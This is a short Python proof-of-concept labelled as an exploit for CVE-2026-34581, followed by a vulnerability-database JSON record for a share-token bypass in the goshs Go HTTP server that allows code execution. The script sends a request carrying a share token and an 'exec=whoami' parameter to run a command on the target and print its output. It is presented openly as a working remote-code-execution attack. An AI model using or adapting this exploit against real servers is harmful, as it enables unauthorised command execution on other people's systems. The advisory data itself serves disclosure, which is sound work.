CVE-2026-34581

import requests def exploit(target_url, share_token): """ PoC for CVE-2026-34581 Demonstrates bypassing Share Token restrictions to achieve RCE. """ # Target endpoint using the share token # The exploit bypasses the file restriction to access exec features exploit_url = f"{target_url}/?token={share_token}&exec=whoami" try: response = requests.get(exploit_url) if response.status_code == 200: print("[+] Exploit successful! Command output:") print(response.text) else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" token = "VULNERABLE_TOKEN_ID" exploit(target, token)

{"cve": {"id": "CVE-2026-34581", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:32.157", "lastModified": "2026-04-15T17:38:30.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. From version 1.1.0 to before version 2.0.0-beta.2, when using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec. This issue has been patched in version 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "2.0.0", "matchCriteriaId": "EE028980-59D0-49E3-81A8-BB9E32D3FC9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}